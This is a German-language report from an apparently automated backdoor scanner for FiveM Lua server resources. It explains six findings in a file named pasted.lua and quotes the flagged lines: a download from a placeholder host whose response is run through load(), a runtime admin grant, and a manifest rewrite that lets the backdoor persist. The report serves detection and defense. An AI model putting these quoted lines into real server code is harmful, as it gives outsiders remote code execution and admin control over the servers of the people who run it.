Backdoor-Scanner

1Generated with devtoolsgg.com2-- ZUSAMMENFASSUNG -----------------------------------------------------3Dateien: 1   Zeilen: 134[X] 4 kritisch   [!] 2 hoch   [-] 0 mittel   [.] 0 niedrig56-- KRITISCH (4) --------------------------------------------------------78[X] Lädt Code herunter und führt ihn aus9    pasted.lua:210    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)1112    Eine HTTP-Anfrage sitzt wenige Zeilen von einem load()-Aufruf13    entfernt. Diese Kombination ist eine Remote-Shell: wer die URL14    kontrolliert, kontrolliert deinen Server. Veröffentlichte Scanner15    behandeln das als eindeutiges Warnsignal.1617[X] assert(load(...)) führt einen String als Code aus18    pasted.lua:419    > assert(load(body))()2021    Die mit Abstand häufigste FiveM-Backdoor-Form. Welcher String auch22    immer load() erreicht, läuft mit vollen Serverrechten. Verfolge,23    woher dieser String kommt; wird er heruntergeladen, decodiert oder24    zur Laufzeit gebaut, betrachte die Resource als kompromittiert.2526[X] Vergibt Rechte zur Laufzeit27    pasted.lua:1028    > ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))2930    Die Resource gibt einem Identifier Adminrechte, während der Server31    läuft, es taucht also nie in deiner permissions.cfg auf. Sieh nach,32    welchem Identifier. Wenn es nicht deiner ist, ist das eine Backdoor.3334[X] Schreibt ein fxmanifest neu35    pasted.lua:1336    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)3738    Ein Manifest zur Laufzeit zu ändern fügt einer Resource ein Script39    hinzu, ohne dessen eigene Dateien anzufassen. Dafür gibt es keinen40    legitimen Grund.4142-- HOCH (2) ------------------------------------------------------------4344[!] Ausgehende HTTP-Anfrage45    pasted.lua:246    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)4748    Prüfe das Ziel. Eine Licence-Prüfung an die Domain des Autors ist49    normal; eine Anfrage an eine Domain, die du nicht kennst, erst recht50    wenn sie Identifier oder Config mitschickt, nicht.5152[!] Schreibt zur Laufzeit eine Resource-Datei53    pasted.lua:1354    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)5556    So überlebt eine Backdoor einen Neustart: sie schreibt sich selbst57    neu, oder eine andere Resource, oder ein fxmanifest, nachdem sie58    entfernt wurde. Dokumentiertes Verhalten der Familien Blum Panel und59    Cipher. Sieh nach, welche Resource und welche Datei geschrieben60    wird.6162-- FUNDE PRO DATEI -----------------------------------------------------63   6  pasted.lua6465-- HINWEIS -------------------------------------------------------------66Statische Heuristiken, kein Beweis: das markiert Formen, die67üblicherweise falsch sind, und schweigt zu Logik, die es nicht sieht.68Lies die markierten Zeilen, und vergleiche die Resource dann mit der69Originalveröffentlichung ihres Autors.70